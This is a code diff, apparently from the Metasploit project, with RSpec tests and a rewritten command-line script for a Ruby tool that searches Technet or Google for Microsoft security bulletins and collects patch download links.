||||
it 'returns false if the page is not found' do
|
||||
html = %Q|
|
||||
<html>
|
||||
We are sorry. The page you requested cannot be found
|
||||
</html>
|
||||
|
|
||||
|
||||
res = Rex::Proto::Http::Response.new
|
||||
allow(res).to receive(:body).and_return(html)
|
||||
expect(patch_link_collector.has_advisory?(res)).to be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
describe '#is_valid_msb?' do
|
||||
let(:good_msb) do
|
||||
'MS15-100'
|
||||
end
|
||||
|
||||
let(:bad_msb) do
|
||||
'MS15-01'
|
||||
end
|
||||
|
||||
it 'returns true if the MSB format is correct' do
|
||||
expect(patch_link_collector.is_valid_msb?(good_msb)).to be_truthy
|
||||
end
|
||||
|
||||
it 'returns false if the MSB format is incorrect' do
|
||||
expect(patch_link_collector.is_valid_msb?(bad_msb)).to be_falsey
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
describe MicrosoftPatchFinder::TechnetMsbSearch do
|
||||
|
||||
subject(:technet_msb_search) do
|
||||
MicrosoftPatchFinder::TechnetMsbSearch.new
|
||||
end
|
||||
|
||||
before(:example) do
|
||||
allow_any_instance_of(MicrosoftPatchFinder::TechnetMsbSearch).to receive(:print_debug)
|
||||
allow_any_instance_of(MicrosoftPatchFinder::TechnetMsbSearch).to receive(:send_http_request) { |info_obj, info_opts, opts|
|
||||
case opts['uri']
|
||||
when /\/en\-us\/security\/bulletin\/dn602597\.aspx/
|
||||
html = %Q|
|
||||
<div class="sb-search">
|
||||
<div class="SearchBox">
|
||||
<input type="text" id="txtSearch" title="Search Security Bulletins" value="Search Security Bulletins" />
|
||||
<input type="button" id="btnSearch" />
|
||||
</div>
|
||||
<select id="productDropdown">
|
||||
<option value="-1">All</option>
|
||||
<option value="10175">Active Directory</option>
|
||||
<option value="10401">Windows Internet Explorer 10</option>
|
||||
<option value="10486">Windows Internet Explorer 11</option>
|
||||
<option value="1282">Windows Internet Explorer 7</option>
|
||||
<option value="1233">Windows Internet Explorer 8</option>
|
||||
<option value="10054">Windows Internet Explorer 9</option>
|
||||
</select>
|
||||
</div>
|
||||
|
|
||||
when /\/security\/bulletin\/services\/GetBulletins/
|
||||
html = %Q|{
|
||||
"l":1,
|
||||
"b":[
|
||||
{
|
||||
"d":"9/8/2015",
|
||||
"Id":"MS15-100",
|
||||
"KB":"3087918",
|
||||
"Title":"Vulnerability in Windows Media Center Could Allow Remote Code Execution",
|
||||
"Rating":"Important"
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
||||
else
|
||||
html = ''
|
||||
end
|
||||
|
||||
res = Rex::Proto::Http::Response.new
|
||||
allow(res).to receive(:body).and_return(html)
|
||||
res
|
||||
}
|
||||
end
|
||||
|
||||
let(:ie10) do
|
||||
'Windows Internet Explorer 10'
|
||||
end
|
||||
|
||||
let(:ie10_id) do
|
||||
10401
|
||||
end
|
||||
|
||||
describe '#find_msb_numbers' do
|
||||
it 'returns an array of found MSB numbers' do
|
||||
msb = technet_msb_search.find_msb_numbers(ie10)
|
||||
expect(msb).to be_kind_of(Array)
|
||||
expect(msb.first).to eq('ms15-100')
|
||||
end
|
||||
end
|
||||
|
||||
describe '#search' do
|
||||
it 'returns search results in JSON format' do
|
||||
results = technet_msb_search.search(ie10)
|
||||
expect(results).to be_kind_of(Hash)
|
||||
expect(results['b'].first['Id']).to eq('MS15-100')
|
||||
end
|
||||
end
|
||||
|
||||
describe '#search_by_product_ids' do
|
||||
it 'returns an array of found MSB numbers' do
|
||||
results = technet_msb_search.search_by_product_ids([ie10_id])
|
||||
expect(results).to be_kind_of(Array)
|
||||
expect(results.first).to eq('ms15-100')
|
||||
end
|
||||
end
|
||||
|
||||
describe '#search_by_keyword' do
|
||||
it 'returns an array of found MSB numbers' do
|
||||
results = technet_msb_search.search_by_keyword('ms15-100')
|
||||
expect(results).to be_kind_of(Array)
|
||||
expect(results.first).to eq('ms15-100')
|
||||
end
|
||||
end
|
||||
|
||||
describe '#get_product_dropdown_list' do
|
||||
it 'returns an array of products' do
|
||||
results = technet_msb_search.get_product_dropdown_list
|
||||
expect(results).to be_kind_of(Array)
|
||||
expect(results.first).to be_kind_of(Hash)
|
||||
expected_hash = {:option_value=>"10175", :option_text=>"Active Directory"}
|
||||
expect(results.first).to eq(expected_hash)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
describe MicrosoftPatchFinder::GoogleMsbSearch do
|
||||
|
||||
subject(:google_msb_search) do
|
||||
MicrosoftPatchFinder::GoogleMsbSearch.new
|
||||
end
|
||||
|
||||
let(:json_data) do
|
||||
%Q|{
|
||||
"kind": "customsearch#search",
|
||||
"url": {
|
||||
"type": "application/json",
|
||||
"template": ""
|
||||
},
|
||||
"queries": {
|
||||
"request": [
|
||||
{
|
||||
"title": "Google Custom Search - internet",
|
||||
"totalResults": "1",
|
||||
"searchTerms": "internet",
|
||||
"count": 10,
|
||||
"startIndex": 1,
|
||||
"inputEncoding": "utf8",
|
||||
"outputEncoding": "utf8",
|
||||
"safe": "off",
|
||||
"cx": ""
|
||||
}
|
||||
]
|
||||
},
|
||||
"context": {
|
||||
"title": "Technet.microsoft"
|
||||
},
|
||||
"searchInformation": {
|
||||
"searchTime": 0.413407,
|
||||
"formattedSearchTime": "0.41",
|
||||
"totalResults": "1",
|
||||
"formattedTotalResults": "1"
|
||||
},
|
||||
"items": [
|
||||
{
|
||||
"kind": "customsearch#result",
|
||||
"title": "Microsoft Security Bulletin MS15-093 - Critical",
|
||||
"htmlTitle": "Microsoft Security Bulletin MS15-093 - Critical",
|
||||
"link": "https://technet.microsoft.com/en-us/library/security/ms15-093.aspx",
|
||||
"displayLink": "technet.microsoft.com",
|
||||
"snippet": "",
|
||||
"htmlSnippet": "",
|
||||
"cacheId": "2xDJB6zqL_sJ",
|
||||
"formattedUrl": "https://technet.microsoft.com/en-us/library/security/ms15-093.aspx",
|
||||
"htmlFormattedUrl": "https://technet.microsoft.com/en-us/library/security/ms15-093.aspx",
|
||||
"pagemap": {
|
||||
"metatags": [
|
||||
{
|
||||
"search.mshkeyworda": "ms15-093",
|
||||
"search.mshattr.assetid": "ms15-093",
|
||||
"search.mshattr.docset": "bulletin",
|
||||
"search.mshattr.sarticletype": "bulletin",
|
||||
"search.mshattr.sarticleid": "MS15-093",
|
||||
"search.mshattr.sarticletitle": "Security Update for Internet Explorer",
|
||||
"search.mshattr.sarticledate": "2015-08-20",
|
||||
"search.mshattr.sarticleseverity": "Critical",
|
||||
"search.mshattr.sarticleversion": "1.1",
|
||||
"search.mshattr.sarticlerevisionnote": "",
|
||||
"search.mshattr.sarticleseosummary": "",
|
||||
"search.mshattr.skbnumber": "3088903",
|
||||
"search.mshattr.prefix": "MSRC",
|
||||
"search.mshattr.topictype": "kbOrient",
|
||||
"search.mshattr.preferredlib": "/library/security",
|
||||
"search.mshattr.preferredsitename": "TechNet",
|
||||
"search.mshattr.docsettitle": "MSRC Document",
|
||||
"search.mshattr.docsetroot": "Mt404691",
|
||||
"search.save": "history",
|
||||
"search.microsoft.help.id": "ms15-093",
|
||||
"search.description": "",
|
||||
"search.mscategory": "dn567670",
|
||||
"search.mscategoryv": "dn567670Security10",
|
||||
"search.tocnodeid": "mt404691",
|
||||
"mshkeyworda": "ms15-093",
|
||||
"mshattr": "AssetID:ms15-093",
|
||||
"save": "history",
|
||||
"microsoft.help.id": "ms15-093"
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
||||
end
|
||||
|
||||
before(:example) do
|
||||
allow_any_instance_of(MicrosoftPatchFinder::GoogleMsbSearch).to receive(:print_debug)
|
||||
allow_any_instance_of(MicrosoftPatchFinder::GoogleMsbSearch).to receive(:send_http_request) { |info_obj, info_opts, opts|
|
||||
res = Rex::Proto::Http::Response.new
|
||||
allow(res).to receive(:body).and_return(json_data)
|
||||
res
|
||||
}
|
||||
end
|
||||
|
||||
let(:expected_msb) do
|
||||
'ms15-093'
|
||||
end
|
||||
|
||||
describe '#find_msb_numbers' do
|
||||
it 'returns an array of msb numbers' do
|
||||
results = google_msb_search.find_msb_numbers(expected_msb)
|
||||
expect(results).to be_kind_of(Array)
|
||||
expect(results).to eq([expected_msb])
|
||||
end
|
||||
end
|
||||
|
||||
describe '#search' do
|
||||
it 'returns a hash (json data)' do
|
||||
results = google_msb_search.search(starting_index: 1)
|
||||
expect(results).to be_kind_of(Hash)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#parse_results' do
|
||||
it 'returns a hash (json data)' do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
allow(res).to receive(:body).and_return(json_data)
|
||||
|
||||
results = google_msb_search.parse_results(res)
|
||||
expect(results).to be_kind_of(Hash)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#get_total_results' do
|
||||
it 'returns a fixnum' do
|
||||
total = google_msb_search.get_total_results(JSON.parse(json_data))
|
||||
expect(total).to be_kind_of(Fixnum)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#get_next_index' do
|
||||
it 'returns a fixnum' do
|
||||
i = google_msb_search.get_next_index(JSON.parse(json_data))
|
||||
expect(i).to be_kind_of(Fixnum)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
describe MicrosoftPatchFinder::Driver do
|
||||
|
||||
let(:msb) do
|
||||
'ms15-100'
|
||||
end
|
||||
|
||||
let(:expected_link) do
|
||||
'http://download.microsoft.com/download/9/0/6/906BC7A4-7DF7-4C24-9F9D-3E801AA36ED3/Windows6.0-KB3087918-x86.msu'
|
||||
end
|
||||
|
||||
before(:example) do
|
||||
opts = { keyword: msb }
|
||||
allow(MicrosoftPatchFinder::OptsConsole).to receive(:get_parsed_options).and_return(opts)
|
||||
allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:download_advisory).and_return(Rex::Proto::Http::Response.new)
|
||||
allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:get_details_aspx).and_return([expected_link])
|
||||
allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:get_download_page).and_return(Rex::Proto::Http::Response.new)
|
||||
allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:get_download_links).and_return([expected_link])
|
||||
allow_any_instance_of(MicrosoftPatchFinder::Driver).to receive(:print_debug)
|
||||
allow_any_instance_of(MicrosoftPatchFinder::Driver).to receive(:print_error)
|
||||
allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:print_debug)
|
||||
allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:print_error)
|
||||
end
|
||||
|
||||
subject(:driver) do
|
||||
MicrosoftPatchFinder::Driver.new
|
||||
end
|
||||
|
||||
describe '#get_download_links' do
|
||||
it 'returns an array of links' do
|
||||
results = driver.get_download_links(msb)
|
||||
expect(results).to be_kind_of(Array)
|
||||
expect(results.first).to eq(expected_link)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#google_search' do
|
||||
it 'returns search results' do
|
||||
skip('See rspec for MicrosoftPatchFinder::GoogleMsbSearch#find_msb_numbers')
|
||||
end
|
||||
end
|
||||
|
||||
describe '#technet_search' do
|
||||
it 'returns search results' do
|
||||
skip('See rspec for MicrosoftPatchFinder::TechnetMsbSearch#find_msb_numbers')
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -1,771 +1,108 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
###
|
||||
#
|
||||
# This script will enumerate download links for Microsoft patches.
|
||||
#
|
||||
# Author:
|
||||
# * sinn3r
|
||||
#
|
||||
###
|
||||
|
||||
|
||||
msfbase = __FILE__
|
||||
while File.symlink?(msfbase)
|
||||
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
|
||||
end
|
||||
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib')))
|
||||
require 'rex'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
require 'json'
|
||||
require 'patch_finder/core/helper'
|
||||
require 'patch_finder/msu'
|
||||
require 'optparse'
|
||||
|
||||
module MicrosoftPatchFinder
|
||||
class PatchFinderBin
|
||||
|
||||
module SiteInfo
|
||||
TECHNET = {
|
||||
ip: '157.56.148.23',
|
||||
vhost: 'technet.microsoft.com'
|
||||
}
|
||||
include PatchFinder::Helper
|
||||
|
||||
MICROSOFT = {
|
||||
ip: '104.72.230.162',
|
||||
vhost: 'www.microsoft.com'
|
||||
}
|
||||
attr_reader :args
|
||||
|
||||
GOOGLEAPIS = {
|
||||
ip: '74.125.28.95',
|
||||
vhost: 'www.googleapis.com'
|
||||
}
|
||||
end
|
||||
def get_parsed_options
|
||||
options = {}
|
||||
|
||||
# This provides whatever other classes need.
|
||||
module Helper
|
||||
parser = OptionParser.new do |opt|
|
||||
opt.separator ''
|
||||
opt.separator 'Specific options:'
|
||||
|
||||
# Prints a debug message.
|
||||
#
|
||||
# @param msg [String] The message to print.
|
||||
# @return [void]
|
||||
def print_debug(msg='')
|
||||
$stderr.puts "[DEBUG] #{msg}"
|
||||
end
|
||||
opt.on('-q', '--query <keyword>', 'Find advisories including this keyword') do |v|
|
||||
options[:keyword] = v
|
||||
end
|
||||
|
||||
# Prints a status message.
|
||||
#
|
||||
# @param msg [String] The message to print.
|
||||
# @return [void]
|
||||
def print_status(msg='')
|
||||
$stderr.puts "[*] #{msg}"
|
||||
end
|
||||
|
||||
# Prints an error message.
|
||||
#
|
||||
# @param msg [String] The message to print.
|
||||
# @return [void]
|
||||
def print_error(msg='')
|
||||
$stderr.puts "[ERROR] #{msg}"
|
||||
end
|
||||
|
||||
# Prints a regular message.
|
||||
#
|
||||
# @param msg [String] The message to print.
|
||||
# @return pvoid
|
||||
def print_line(msg='')
|
||||
$stdout.puts msg
|
||||
end
|
||||
|
||||
# Sends an HTTP request with Rex.
|
||||
#
|
||||
# @param rhost [Hash] Information about the target host. Use MicrosoftPatchFinder::SiteInfo.
|
||||
# @option rhost [String] :vhost
|
||||
# @option rhost [String] :ip IPv4 address
|
||||
# @param opts [Hash] Information about the Rex request.
|
||||
# @raise [RuntimeError] Failure to make a request.
|
||||
# @return [Rex::Proto::Http::Response]
|
||||
def send_http_request(rhost, opts={})
|
||||
res = nil
|
||||
|
||||
opts.merge!({'vhost'=>rhost[:vhost]})
|
||||
|
||||
print_debug("Requesting: #{opts['uri']}")
|
||||
|
||||
cli = Rex::Proto::Http::Client.new(rhost[:ip], 443, {}, true, 'TLS1')
|
||||
tries = 1
|
||||
begin
|
||||
cli.connect
|
||||
req = cli.request_cgi(opts)
|
||||
res = cli.send_recv(req)
|
||||
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
|
||||
if tries < 3
|
||||
print_error("Failed to make a request, but will try again in 5 seconds...")
|
||||
sleep(5)
|
||||
tries += 1
|
||||
retry
|
||||
opt.on('-s', '--search-engine <engine>', '(Optional) The type of search engine to use (Technet or Google). Default: Technet') do |v|
|
||||
case v.to_s
|
||||
when /^google$/i
|
||||
options[:search_engine] = :google
|
||||
when /^technet$/i
|
||||
options[:search_engine] = :technet
|
||||
else
|
||||
raise "[x] Unable to make a request: #{e.class} #{e.message}\n#{e.backtrace * "\n"}"
|
||||
end
|
||||
ensure
|
||||
cli.close
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Collects MSU download links from Technet.
|
||||
class PatchLinkCollector
|
||||
include MicrosoftPatchFinder::Helper
|
||||
|
||||
# Returns a response of an advisory page.
|
||||
#
|
||||
# @param msb [String] MSB number in this format: msxx-xxx
|
||||
# @return [Rex::Proto::Http::Response]
|
||||
def download_advisory(msb)
|
||||
send_http_request(SiteInfo::TECHNET, {
|
||||
'uri' => "/en-us/library/security/#{msb}.aspx"
|
||||
})
|
||||
end
|
||||
|
||||
|
||||
# Returns the most appropriate pattern that could be used to parse and extract links from an advisory.
|
||||
#
|
||||
# @param n [Nokogiri::HTML::Document] The advisory page parsed by Nokogiri
|
||||
# @return [Hash]
|
||||
def get_appropriate_pattern(n)
|
||||
# These pattern checks need to be in this order.
|
||||
patterns = [
|
||||
# This works from MS14-001 until the most recent
|
||||
{
|
||||
check: '//div[@id="mainBody"]//div//h2//div//span[contains(text(), "Affected Software")]',
|
||||
pattern: '//div[@id="mainBody"]//div//div[@class="sectionblock"]//table//a'
|
||||
},
|
||||
# This works from ms03-040 until MS07-029
|
||||
{
|
||||
check: '//div[@id="mainBody"]//ul//li//a[contains(text(), "Download the update")]',
|
||||
pattern: '//div[@id="mainBody"]//ul//li//a[contains(text(), "Download the update")]'
|
||||
},
|
||||
# This works from sometime until ms03-039
|
||||
{
|
||||
check: '//div[@id="mainBody"]//div//div[@class="sectionblock"]//p//strong[contains(text(), "Download locations")]',
|
||||
pattern: '//div[@id="mainBody"]//div//div[@class="sectionblock"]//ul//li//a'
|
||||
},
|
||||
# This works from MS07-030 until MS13-106 (the last update in 2013)
|
||||
# The check is pretty short so if it kicks in too early, it tends to create false positives.
|
||||
# So it goes last.
|
||||
{
|
||||
check: '//div[@id="mainBody"]//p//strong[contains(text(), "Affected Software")]',
|
||||
pattern: '//div[@id="mainBody"]//table//a'
|
||||
},
|
||||
]
|
||||
|
||||
patterns.each do |pattern|
|
||||
if n.at_xpath(pattern[:check])
|
||||
return pattern[:pattern]
|
||||
fail OptionParser::InvalidOption, "Invalid search engine: #{v}"
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
|
||||
# Returns the details page for an advisory.
|
||||
#
|
||||
# @param res [Rex::Proto::Http::Response]
|
||||
# @return [Array<URI::HTTP>] An array of URI objects.
|
||||
def get_details_aspx(res)
|
||||
links = []
|
||||
|
||||
page = res.body
|
||||
n = ::Nokogiri::HTML(page)
|
||||
|
||||
appropriate_pattern = get_appropriate_pattern(n)
|
||||
|
||||
n.search(appropriate_pattern).each do |anchor|
|
||||
found_link = anchor.attributes['href'].value
|
||||
if /https:\/\/www\.microsoft\.com\/downloads\/details\.aspx\?familyid=/i === found_link
|
||||
begin
|
||||
links << URI(found_link)
|
||||
rescue ::URI::InvalidURIError
|
||||
print_error "Unable to parse URI: #{found_link}"
|
||||
end
|
||||
end
|
||||
opt.on('-r', '--regex <string>', '(Optional) Specify what type of links you want') do |v|
|
||||
options[:regex] = v
|
||||
end
|
||||
|
||||
links
|
||||
end
|
||||
|
||||
|
||||
# Returns the redirected page.
|
||||
#
|
||||
# @param rhost [Hash] From MicrosoftPatchFinder::SiteInfo
|
||||
# @param res [Rex::Proto::Http::Response]
|
||||
# @return [Rex::Proto::Http::Response]
|
||||
def follow_redirect(rhost, res)
|
||||
opts = {
|
||||
'method' => 'GET',
|
||||
'uri' => res.headers['Location']
|
||||
}
|
||||
|
||||
send_http_request(rhost, opts)
|
||||
end
|
||||
|
||||
|
||||
# Returns the download page of an advisory.
|
||||
#
|
||||
# @param uri [URI::HTTP]
|
||||
# @return [Rex::Proto::Http::Response]
|
||||
def get_download_page(uri)
|
||||
opts = {
|
||||
'method' => 'GET',
|
||||
'uri' => uri.request_uri
|
||||
}
|
||||
|
||||
res = send_http_request(SiteInfo::MICROSOFT, opts)
|
||||
|
||||
if res.headers['Location']
|
||||
return follow_redirect(SiteInfo::MICROSOFT, res)
|
||||
opt.on('--apikey <key>', '(Optional) Google API key.') do |v|
|
||||
options[:google_api_key] = v
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
|
||||
# Returns a collection of found MSU download links from an advisory.
|
||||
#
|
||||
# @param page [String] The HTML page of the advisory.
|
||||
# @return [Array<String>] An array of links
|
||||
def get_download_links(page)
|
||||
page = ::Nokogiri::HTML(page)
|
||||
|
||||
relative_uri = page.search('a').select { |a|
|
||||
a.attributes['href'] && a.attributes['href'].value.include?('confirmation.aspx?id=')
|
||||
}.first
|
||||
|
||||
return [] unless relative_uri
|
||||
relative_uri = relative_uri.attributes['href'].value
|
||||
|
||||
absolute_uri = URI("https://www.microsoft.com/en-us/download/#{relative_uri}")
|
||||
opts = {
|
||||
'method' => 'GET',
|
||||
'uri' => absolute_uri.request_uri
|
||||
}
|
||||
res = send_http_request(SiteInfo::MICROSOFT, opts)
|
||||
n = ::Nokogiri::HTML(res.body)
|
||||
|
||||
n.search('a').select { |a|
|
||||
a.attributes['href'] && a.attributes['href'].value.include?('https://download.microsoft.com/download/')
|
||||
}.map! { |a| a.attributes['href'].value }.uniq
|
||||
end
|
||||
|
||||
|
||||
# Returns whether the page is an advisory or not.
|
||||
#
|
||||
# @param res [Rex::Proto::Http::Response]
|
||||
# @return [Boolean] true if the page is an advisory, otherwise false.
|
||||
def has_advisory?(res)
|
||||
!res.body.include?('We are sorry. The page you requested cannot be found')
|
||||
end
|
||||
|
||||
|
||||
# Returns whether the number is in valid MSB format or not.
|
||||
#
|
||||
# @param msb [String] The number to check.
|
||||
# @return [Boolean] true if the number is in MSB format, otherwise false.
|
||||
def is_valid_msb?(msb)
|
||||
/^ms\d\d\-\d\d\d$/i === msb
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# A class that searches advisories from Technet.
|
||||
class TechnetMsbSearch
|
||||
include MicrosoftPatchFinder::Helper
|
||||
|
||||
def initialize
|
||||
opts = {
|
||||
'method' => 'GET',
|
||||
'uri' => '/en-us/security/bulletin/dn602597.aspx'
|
||||
}
|
||||
res = send_http_request(SiteInfo::TECHNET, opts)
|
||||
@firstpage ||= res.body
|
||||
end
|
||||
|
||||
|
||||
# Returns a collection of found MSB numbers either from the product list, or generic search.
|
||||
#
|
||||
# @param keyword [String] The product to look for.
|
||||
# @return [Array<String>]
|
||||
def find_msb_numbers(keyword)
|
||||
product_list_matches = get_product_dropdown_list.select { |p| Regexp.new(keyword) === p[:option_text] }
|
||||
if product_list_matches.empty?
|
||||
print_debug("Did not find a match from the product list, attempting a generic search")
|
||||
search_by_keyword(keyword)
|
||||
else
|
||||
product_names = []
|
||||
ids = []
|
||||
product_list_matches.each do |e|
|
||||
ids << e[:option_value]
|
||||
product_names << e[:option_text]
|
||||
end
|
||||
print_debug("Matches from the product list (#{product_names.length}): #{ product_names * ', ' }")
|
||||
search_by_product_ids(ids)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Returns the search results in JSON format.
|
||||
#
|
||||
# @param keyword [String] The keyword to search.
|
||||
# @return [Hash] JSON data.
|
||||
def search(keyword)
|
||||
opts = {
|
||||
'method' => 'GET',
|
||||
'uri' => '/security/bulletin/services/GetBulletins',
|
||||
'vars_get' => {
|
||||
'searchText' => keyword,
|
||||
'sortField' => '0',
|
||||
'sortOrder' => '1',
|
||||
'currentPage' => '1',
|
||||
'bulletinsPerPage' => '9999',
|
||||
'locale' => 'en-us'
|
||||
}
|
||||
}
|
||||
res = send_http_request(SiteInfo::TECHNET, opts)
|
||||
begin
|
||||
return JSON.parse(res.body)
|
||||
rescue JSON::ParserError
|
||||
opt.on('--cx <id>', '(Optional) Google search engine ID.') do |v|
|
||||
options[:google_search_engine_id] = v
|
||||
end
|
||||
|
||||
{}
|
||||
end
|
||||
opt.on('-d', '--dir <string>', '(Optional) The directory to save the patches') do |v|
|
||||
unless File.directory?(v)
|
||||
fail OptionParser::InvalidOption, "Directory not found: #{v}"
|
||||
end
|
||||
|
||||
|
||||
# Performs a search based on product IDs
|
||||
#
|
||||
# @param ids [Array<Fixnum>] An array of product IDs.
|
||||
# @return [Array<String>] An array of found MSB numbers.
|
||||
def search_by_product_ids(ids)
|
||||
msb_numbers = []
|
||||
|
||||
ids.each do |id|
|
||||
j = search(id)
|
||||
msb = j['b'].collect { |e| e['Id']}.map{ |e| e.downcase}
|
||||
msb_numbers.concat(msb)
|
||||
options[:destdir] = v
|
||||
end
|
||||
|
||||
msb_numbers
|
||||
end
|
||||
|
||||
|
||||
# Performs a search based on a keyword
|
||||
#
|
||||
# @param keyword [String]
|
||||
# @return [Array<String>] An array of found MSB numbers
|
||||
def search_by_keyword(keyword)
|
||||
j = search(keyword)
|
||||
j['b'].collect { |e| e['Id']}.map{ |e| e.downcase }
|
||||
end
|
||||
|
||||
|
||||
# Returns the product list that Technet currently supports for searching.
|
||||
#
|
||||
# @return [Array<Hash>]
|
||||
def get_product_dropdown_list
|
||||
@product_dropdown_list ||= lambda {
|
||||
list = []
|
||||
|
||||
page = ::Nokogiri::HTML(firstpage)
|
||||
page.search('//div[@class="sb-search"]//select[@id="productDropdown"]//option').each do |product|
|
||||
option_value = product.attributes['value'].value
|
||||
option_text = product.text
|
||||
next if option_value == '-1' # This is the ALL option
|
||||
list << { option_value: option_value, option_text: option_text }
|
||||
end
|
||||
|
||||
list
|
||||
}.call
|
||||
end
|
||||
|
||||
attr_reader :firstpage
|
||||
end
|
||||
|
||||
class GoogleMsbSearch
|
||||
include MicrosoftPatchFinder::Helper
|
||||
|
||||
# API Doc:
|
||||
# https://developers.google.com/custom-search/json-api/v1/using_rest
|
||||
# Known bug:
|
||||
# * Always gets 20 MSB results. Weird.
|
||||
|
||||
def initialize(opts={})
|
||||
@api_key = opts[:api_key]
|
||||
@search_engine_id = opts[:search_engine_id]
|
||||
end
|
||||
|
||||
|
||||
# Returns the MSB numbers associated with the keyword.
|
||||
#
|
||||
# @param keyword [String] The keyword to search for in an advisory.
|
||||
# @return [Array<String>] MSB numbers
|
||||
def find_msb_numbers(keyword)
|
||||
msb_numbers = []
|
||||
next_starting_index = 1
|
||||
|
||||
begin
|
||||
while
|
||||
results = search(keyword: keyword, starting_index: next_starting_index)
|
||||
items = results['items']
|
||||
items.each do |item|
|
||||
title = item['title']
|
||||
msb = title.scan(/Microsoft Security Bulletin (MS\d\d\-\d\d\d)/).flatten.first
|
||||
if msb
|
||||
msb_numbers << msb.downcase
|
||||
end
|
||||
end
|
||||
|
||||
next_starting_index = get_next_index(results)
|
||||
next_page = results['queries']['nextPage']
|
||||
|
||||
# Google API Documentation:
|
||||
# https://developers.google.com/custom-search/json-api/v1/using_rest
|
||||
# "This role is not present if the current results are the last page.
|
||||
# Note: This API returns up to the first 100 results only."
|
||||
break if next_page.nil? || next_starting_index > 100
|
||||
end
|
||||
rescue RuntimeError => e
|
||||
print_error(e.message)
|
||||
return msb_numbers.uniq
|
||||
end
|
||||
|
||||
msb_numbers.uniq
|
||||
end
|
||||
|
||||
|
||||
# Performs a search using Google API
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @options opts [String] :keyword The keyword to search
|
||||
# @return [Hash] JSON data
|
||||
def search(opts={})
|
||||
starting_index = opts[:starting_index]
|
||||
|
||||
search_string = [
|
||||
opts[:keyword],
|
||||
'intitle:"Microsoft Security Bulletin"',
|
||||
'-"Microsoft Security Bulletin Summary"'
|
||||
].join(' ')
|
||||
|
||||
opts = {
|
||||
'method' => 'GET',
|
||||
'uri' => '/customsearch/v1',
|
||||
'vars_get' => {
|
||||
'key' => api_key,
|
||||
'cx' => search_engine_id,
|
||||
'q' => search_string,
|
||||
'start' => starting_index.to_s,
|
||||
'num' => '10', # 10 is max
|
||||
'c2coff' => '1' # 1 = Disabled, 0 = Enabled
|
||||
}
|
||||
}
|
||||
|
||||
res = send_http_request(SiteInfo::GOOGLEAPIS, opts)
|
||||
results = parse_results(res)
|
||||
if starting_index == 1
|
||||
print_debug("Number of search results: #{get_total_results(results)}")
|
||||
end
|
||||
|
||||
results
|
||||
end
|
||||
|
||||
|
||||
# Parse Google API search results
|
||||
#
|
||||
# @param res [Rex::Proto::Http::Response]
|
||||
# @raise [RuntimeError] If Google returns an error
|
||||
# @return [Hash]
|
||||
def parse_results(res)
|
||||
j = JSON.parse(res.body)
|
||||
|
||||
if j['error']
|
||||
message = j['error']['errors'].first['message']
|
||||
reason = j['error']['errors'].first['reason']
|
||||
raise "Google Search failed. #{message} (#{reason})"
|
||||
end
|
||||
|
||||
j
|
||||
end
|
||||
|
||||
|
||||
# Returns the total results.
|
||||
#
|
||||
# @param j [Hash] JSON data from Google.
|
||||
# @return [Fixnum]
|
||||
def get_total_results(j)
|
||||
j['queries']['request'].first['totalResults'].to_i
|
||||
end
|
||||
|
||||
|
||||
# Returns the next index.
|
||||
#
|
||||
# @param j [Hash] JSON data from Google.
|
||||
# @return [Fixnum]
|
||||
def get_next_index(j)
|
||||
j['queries']['nextPage'] ? j['queries']['nextPage'].first['startIndex'] : 0
|
||||
end
|
||||
|
||||
# @!attribute api_key
|
||||
# @return [String] The Google API key
|
||||
attr_reader :api_key
|
||||
|
||||
# @!attribute search_engine_id
|
||||
# @return [String] The Google Custom Search Engine ID
|
||||
attr_reader :search_engine_id
|
||||
end
|
||||
|
||||
class OptsConsole
|
||||
def self.banner
|
||||
%Q|
|
||||
Usage: #{__FILE__} [options]
|
||||
|
||||
The following example will download all IE update links:
|
||||
#{__FILE__} -q "Internet Explorer"
|
||||
|
||||
Searching advisories via Technet:
|
||||
When you submit a query, the Technet search engine will first look it up from a product list,
|
||||
and then return all the advisories that include the keyword you are looking for. If there's
|
||||
no match from the product list, then the script will try a generic search. The generic method
|
||||
also means you can search by MSB, KB, or even the CVE number.
|
||||
|
||||
Searching advisories via Google:
|
||||
Searching via Google requires an API key and an Search Engine ID from Google. To obtain these,
|
||||
make sure you have a Google account (such as Gmail), and then do the following:
|
||||
1. Go to Google Developer's Console
|
||||
1. Enable Custom Search API
|
||||
2. Create a browser type credential. The credential is the API key.
|
||||
2. Go to Custom Search
|
||||
1. Create a new search engine
|
||||
2. Under Sites to Search, set: technet.microsoft.com
|
||||
3. In your search site, get the Search Engine ID under the Basics tab.
|
||||
By default, Google has a quota limit of 1000 queries per day. You can raise this limit with
|
||||
a fee.
|
||||
|
||||
